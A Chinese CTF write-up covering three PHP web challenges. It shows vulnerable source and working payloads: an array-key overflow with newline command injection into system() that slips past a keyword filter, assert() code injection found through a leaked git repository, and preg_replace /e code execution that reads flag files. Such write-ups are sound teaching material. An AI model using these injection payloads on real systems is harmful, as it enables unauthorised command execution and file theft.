当前位置: 首页 > news >正文

攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此

favorite_number

进入环境得到源码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {$num= $_POST["num"];if (preg_match("/^\d+$/im",$num)){if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){echo "my favorite num is:";system("echo ".$num);}else{echo 'Bonjour!';}}
} else {highlight_file(__FILE__);
}

题目特意标注出了php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个

审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload

stuff[4294967296]=admin&stuff[1]=user&num=111

在这里插入图片描述

成功绕过接下来我们就要想办法绕过正则表达式了

传入了一个num,并且过滤掉了很多东西,并且经过了两次正则匹配过滤东西,这里我们可以使用%0a绕过匹配,以达到执行指令的效果

在这里插入图片描述

成功发现flag,但是这里把flag过滤掉了我们这么绕过

stuff[4294967296]=admin&stuff[1]=user&num=111%0ab=ag;a=fl;tac /$a$b

在这里插入图片描述

获得flag

mfw

进入到环境搜集到两个信息

在这里插入图片描述

可能存在git泄露,flag就在flag中

在这里插入图片描述

测试了以下确实存在git泄露那我们使用githack还原

在这里插入图片描述

简单看了一下代码在templates目录下发现了flag.php,在index.php中发现关键代码

<?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>

这里发现一个assert()函数,想到估计是代码执行漏洞,而$page没有任何的控制直接拼接,我们想利用assert()函数执行cat ./templates/flag.php获得flag,那么肯定要破坏原来的assert结构才能,使得我们目标才能达成

assert("strpos('$file', '..') === false")
assert("file_exists('$file')")

那么我们构造如下payload

?page=') or system('cat ./templates/flag.php');//

传入后就变成

$file="templates/') or system('cat ./templates/flag.php');//.php"

替换

assert("strpos('template/') or system('cat ./template/flag.php');//.php, '..') === false")

真正运行

strpos('template/') or system('cat ./template/flag.php'); 由于strpos函数报错,因此运行我们构造的语句or后面的语句

查看源码发现flag

在这里插入图片描述

[BJDCTF2020]ZJCTF,不过如此

进入题目给出源码

<?phperror_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";if(preg_match("/flag/",$file)){die("Not now!");}include($file);  //next.php}
else{highlight_file(__FILE__);
}
?>

代码中提示了next.php,并且过滤了flag,所以需要从next.php找找线索

首先绕过text的过滤,来看看next.php中是什么内容

在这里插入图片描述
在这里插入图片描述

解码发现内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

进行一个简单的分析,我们的目的是传入$cmd参数,然后eval执行从而拿到flag。那该如何利用呢,在php中如果直接传.* .会被替代成下划线所以我们换个元字符\S \S表示匹配非空格以外的所有字符,这也我们就能够匹配我们想要的命令执行函数了

$_GET as $re => $str 的理解:

这是一个动态赋值的过程,即会将get请求中的参数名作为键re,参数对应的值作为键值re,参数对应的值作为键值re,参数对应的值作为键值str

当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。

这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。

为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
payload如下

?\S*=${getFlag()}&cmd=system('cat /flag');

在这里插入图片描述

相关文章:

攻防世界 favorite_number mfw、[BJDCTF2020]ZJCTF,不过如此

favorite_number 进入环境得到源码 <?php //php5.5.9 $stuff $_POST["stuff"]; $array [admin, user]; if($stuff $array && $stuff[0] ! admin) {$num $_POST["num"];if (preg_match("/^\d$/im",$num)){if (!preg_match("…...

SummingMergeTree

假设有这样⼀种查询需求&#xff1a;终端⽤户只需要查询数据的汇总结果&#xff0c;不关⼼明细数据&#xff0c;并且数据的汇总条件是预先明确的&#xff08;GROUP BY 条件明确&#xff0c;且不会随意改变&#xff09;。 对于这样的查询场景&#xff0c;在ClickHouse中如何解决…...

JUC并发编程基础篇第一章之进程/并发/异步的概念[理解基本概念]

1. 进程和线程的概念 进程: 系统正在运行的一个应用程序;程序一旦运行就是一个进程;进程是资源分配的最小单位 线程: 是进程的实际运行单位;一个人进程可以并发控制多个线程,每条线程并行执行不同的任务 区别: 进程基本上相互独立的;而线程存在于进程内&#xff0c;是进程…...

c语言—指针进阶

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 给大家跳段街舞感谢支持&#xff01;ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ…...

总结二分法

杨辉三角形&#xff08;快速查找唯一值,mid型) //二分法解//流程&#xff1a;最大列->起点行->2k--n之间究竟哪一行&#xff08;二分排列组合&#xff09;->找到行数就等差数列对应位置#include<stdio.h> #include<stdlib.h>//注意排列组合的规律是建立在…...

二叉搜索树和AVL树

目录 一、二叉搜索树 1.什么是二叉搜索树 2.二叉搜索树的实现 &#xff08;1&#xff09;构建类 &#xff08;2&#xff09;查找函数 &#xff08;3&#xff09;插入函数 &#xff08;4&#xff09;删除函数 &#xff08;5&#xff09;补齐默认成员函数 &#xff08;6…...

计算机体系结构量化研究方法【2】高速缓存Cache

目录1.计算机存储层次结构2.缓存相关概念3.缓存组织方式4.Cache回写机制5.Cache性能量化1.计算机存储层次结构 计算机存储层次结构可以看作是一个金字塔&#xff0c;越靠上层&#xff0c;容量越小&#xff0c;速度越快 L0&#xff1a;寄存器----CPU的寄存器保存着Cache取出的…...

初识设计模式 - 迭代器模式

简介 迭代器设计模式&#xff08;Iterator Design Pattern&#xff09;&#xff0c;也叫作游标设计模式&#xff08;Cursor Design Pattern&#xff09;。 迭代器模式将集合对象的遍历操作从集合类中拆分出来&#xff0c;放到迭代器类中&#xff0c;让两者的职责更加单一。 …...

三路快排(基于三指针单趟排序的快速排序)+快排时间复杂度再分析

目录 一.前言 二. 三路快排 &#x1f60d;算法思想: &#x1f60d;算法实现步骤: &#x1f60d;三指针单趟排序的实现:​ &#x1f60d;非递归快排完全体: &#x1f914;与C标准库里的快排进行对比测试: 三.快排时间复杂度再分析 一.前言 http://t.csdn.cn/mz8dghttp://…...

Eyeshot Ultimate 2023 Crack

Eyeshot Ultimate 2023 Crack 已经引入了文档类。 工作区。文档现在包含绘制场景内容所需的所有数据。 2022版GEntities已被删除。 最后&#xff0c;一个真正的跨平台中立核心产品是可用的。 新功能 曲线、平面、曲面和体积网格。 屏幕空间环境光遮挡。 托管ReadDWG和ReadDXF类…...

JAVA-8-[SpringBoot]入门程序案例和原理分析

Spring Boot框架入门教程&#xff08;快速学习版&#xff09; Spring Boot教程BooTWiki.COM 1 Spring Boot Spring Boot是Pivotal(关键性的)团队在Spring的基础上提供的一套全新的开源框架&#xff0c;其目的是为了简化Spring应用的搭建和开发过程。Spring Boot去除了大量的X…...

前端工程化

一、AST &#xff08;抽象语法树&#xff0c;Abstract Syntax Tree&#xff09; 手把手带你走进Babel的编译世界 - 掘金 (juejin.cn) 1、概念 我们所写的代码转换为机器能识别的一种树形结构&#xff0c;本身是由一堆节点&#xff08;Node&#xff09;组成&#xff0c;每个节…...

【redis】单线程 VS 多线程(入门)

【redis】单线程 VS 多线程&#xff08;入门&#xff09; 提示&#xff1a;这里可以添加系列文章的所有文章的目录&#xff0c;目录需要自己手动添加 例如&#xff1a;第一章 Python 机器学习入门之pandas的使用 提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#…...

2023蓝桥杯Java研究生组赛题

蓝桥杯Java研究生组、JavaA组看过来&#xff0c;这两个组别题目基本一样 第一次参加了Java研究生组&#xff0c;Java组应该没有C/C那么卷吧&#xff0c;主要是觉得Java组可以避开很多ACM大佬&#xff0c;前面几题感觉难度还行没有特别难&#xff0c;后面几个大题依旧是没法做&a…...

多维时序 | MATLAB实现CNN-BiLSTM-Attention多变量时间序列预测

多维时序 | MATLAB实现CNN-BiLSTM-Attention多变量时间序列预测 目录多维时序 | MATLAB实现CNN-BiLSTM-Attention多变量时间序列预测预测效果基本介绍模型描述程序设计参考资料预测效果 基本介绍 MATLAB实现CNN-BiLSTM-Attention多变量时间序列预测&#xff0c;CNN-BiLSTM-Atte…...

微积分——Rolle定理的理解(罗尔定理)

极值定理(Extreme Value Theorem)指出&#xff0c;闭区间[a,b]上连续的函数既有最大值&#xff0c;也有最小值。然而&#xff0c;其最大最小值都可能发生在端点。罗尔定理(Rolle’s Theorem)以法国数学家Michel Rolle(1652-1719)的名字命名&#xff0c;它给出了极值存在于闭区间…...

linux内核之select/poll/epoll

一些主流应用IO多路复用技术&#xff0c;突破高并发问题&#xff0c;如nginx、redis、netty&#xff0c;分布式服务框架dubbo&#xff0c;大数据组件hadoop、spark、flink、hbase纷纷使用netty作为网络通信组件。 一、背景&#xff1a;C10K问题 The C10K problem 最早被Dan …...

文件流下载

文件下载 后端传给前端json数据流,前端拿到之后存放在自定义的文件中import axios from "axios"; import qs from "query-string"; import {Notification } from "@arco-design/web-vue"; // 接口中需要含有文件名fileName export function dow…...

C语言模拟实现:atoi函数

在实现atoi之前我们先来了解一下atoi函数的作用是什么&#xff1a; 目录 1.实例演示 2.模拟实现 2.1 判断是否为空指针 2.2判断是否为空字符串 2.3判断正负号 2.4判断非数字字符 2.5判断是否越界 2.6完整代码 1.实例演示 //实例演示 #include <stdio.h> #include …...

LeetCode.每日一题 2427. 公因子的数目

Halo&#xff0c;这里是Ppeua。平时主要更新C语言&#xff0c;C&#xff0c;数据结构算法......感兴趣就关注我吧&#xff01;你定不会失望。 &#x1f308;个人主页&#xff1a;主页链接 &#x1f308;算法专栏&#xff1a;专栏链接 我会一直往里填充内容哒&#xff01; &…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

sqlserver 根据指定字符 解析拼接字符串

DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...

网络编程(UDP编程)

思维导图 UDP基础编程&#xff08;单播&#xff09; 1.流程图 服务器&#xff1a;短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...

基于Java+MySQL实现(GUI)客户管理系统

客户资料管理系统的设计与实现 第一章 需求分析 1.1 需求总体介绍 本项目为了方便维护客户信息为了方便维护客户信息&#xff0c;对客户进行统一管理&#xff0c;可以把所有客户信息录入系统&#xff0c;进行维护和统计功能。可通过文件的方式保存相关录入数据&#xff0c;对…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

【JVM】Java虚拟机(二)——垃圾回收

目录 一、如何判断对象可以回收 &#xff08;一&#xff09;引用计数法 &#xff08;二&#xff09;可达性分析算法 二、垃圾回收算法 &#xff08;一&#xff09;标记清除 &#xff08;二&#xff09;标记整理 &#xff08;三&#xff09;复制 &#xff08;四&#xff…...

LCTF液晶可调谐滤波器在多光谱相机捕捉无人机目标检测中的作用

中达瑞和自2005年成立以来&#xff0c;一直在光谱成像领域深度钻研和发展&#xff0c;始终致力于研发高性能、高可靠性的光谱成像相机&#xff0c;为科研院校提供更优的产品和服务。在《低空背景下无人机目标的光谱特征研究及目标检测应用》这篇论文中提到中达瑞和 LCTF 作为多…...

Axure 下拉框联动

实现选省、选完省之后选对应省份下的市区...

使用SSE解决获取状态不一致问题

使用SSE解决获取状态不一致问题 1. 问题描述2. SSE介绍2.1 SSE 的工作原理2.2 SSE 的事件格式规范2.3 SSE与其他技术对比2.4 SSE 的优缺点 3. 实战代码 1. 问题描述 目前做的一个功能是上传多个文件&#xff0c;这个上传文件是整体功能的一部分&#xff0c;文件在上传的过程中…...

基于江科大stm32屏幕驱动,实现OLED多级菜单(动画效果),结构体链表实现(独创源码)

引言 在嵌入式系统中&#xff0c;用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例&#xff0c;介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单&#xff0c;执行相应操作&#xff0c;并提供平滑的滚动动画效果。 本文设计了一个…...